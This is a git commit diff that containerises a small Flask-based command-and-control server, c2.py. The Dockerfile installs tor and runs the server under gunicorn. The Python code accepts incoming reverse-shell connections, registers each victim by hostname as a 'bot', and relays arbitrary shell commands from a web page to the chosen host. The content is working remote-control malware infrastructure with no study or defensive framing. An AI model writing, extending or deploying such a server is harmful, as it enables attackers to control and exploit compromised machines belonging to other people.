Add Dockerfile, also some bug fixes

This commit is contained in:
Sivert V. Sæther
2025-09-30 15:23:44 +02:00
parent ef77991a1f
commit ac499c62fe
4 changed files with 57 additions and 19 deletions

9
.dockerignore Normal file
View File

@@ -0,0 +1,9 @@
.python-version
.dockerignore
__pycache__
Dockerfile
.gitignore
README.md
uv.lock
.venv
.git

14
Dockerfile Normal file
View File

@@ -0,0 +1,14 @@
FROM python:slim
RUN apt update && apt upgrade -y && \
apt install -y tor && rm -rf /var/lib/apt/lists/*
RUN pip install uv
WORKDIR /app
ADD ./ .
RUN uv sync
ENTRYPOINT [ "/app/.venv/bin/gunicorn" ]
CMD [ "-w1", "-b0.0.0.0", "c2:app" ]

52
c2.py
View File

@@ -2,14 +2,26 @@
from socket import SOCK_STREAM, AF_INET, socket from socket import SOCK_STREAM, AF_INET, socket
from flask import Flask, request, render_template from flask import Flask, request, render_template
from threading import Thread from threading import Thread
from enum import Enum
SOCKET = None SOCKET = None
thread = None
app = Flask(__name__) app = Flask(__name__)
threads = []
bots = {} bots = {}
class Type(Enum):
DUMB = 1
class Bot:
typ = Type.DUMB
def __init__(self, conn):
self.conn = conn
@app.route('/') @app.route('/')
def index(): def index():
return render_template('index.j2', bots=bots.keys()) return render_template('index.j2', bots=bots.keys())
@@ -18,21 +30,16 @@ def index():
@app.route('/shell/<name>') @app.route('/shell/<name>')
def shell(name): def shell(name):
cmd = request.args.get('cmd') cmd = request.args.get('cmd')
conn = bots.get(name) bot = bots.get(name)
res = None if cmd and bot:
if cmd and conn: bot.conn.sendall(cmd.encode() + b'\n')
conn.sendall(cmd.encode() + b'\n') res = bot.conn.recv(4096).decode()[:-2].replace('\n', '<br/>')
res = conn.recv(4096).decode()[:-2].replace('\n', '<br/>') else:
res = 'balle'
print('"{}"'.format(list(bots.keys())[0]))
return render_template('shell.j2', name=name, res=res) return render_template('shell.j2', name=name, res=res)
def thread(target, args=()):
thread = Thread(target=target, args=args)
threads.append(thread)
thread.start()
return thread
def listen(): def listen():
with socket(AF_INET, SOCK_STREAM) as sock: with socket(AF_INET, SOCK_STREAM) as sock:
SOCKET = sock SOCKET = sock
@@ -40,19 +47,26 @@ def listen():
sock.listen() sock.listen()
while 'pwnd': while 'pwnd':
conn, addr = sock.accept() conn, addr = sock.accept()
thread(handle, (conn,)) match conn.recv(2):
case b'$ ':
Thread(target=handle_dumb, args=(conn,)).start()
case other:
print('Got invalid magic "' + other.decode() + '"')
def handle(conn): def handle_dumb(conn):
assert conn.recv(2) == b'$ '
conn.sendall(b'hostname\n') conn.sendall(b'hostname\n')
hostname = conn.recv(255).split(b'\n')[0] hostname = conn.recv(255).split(b'\n')[0].decode().replace('\r', '')
bots[hostname.decode()] = conn bots[hostname] = Bot(conn)
if not thread:
thread = Thread(target=listen)
thread.start()
if __name__ == '__main__': if __name__ == '__main__':
try: try:
thread(listen)
app.run() app.run()
except KeyboardInterrupt: except KeyboardInterrupt:
SOCKET.close() SOCKET.close()

View File

@@ -6,4 +6,5 @@ readme = "README.md"
requires-python = ">=3.12" requires-python = ">=3.12"
dependencies = [ dependencies = [
"flask>=3.1.2", "flask>=3.1.2",
"gunicorn>=23.0.0",
] ]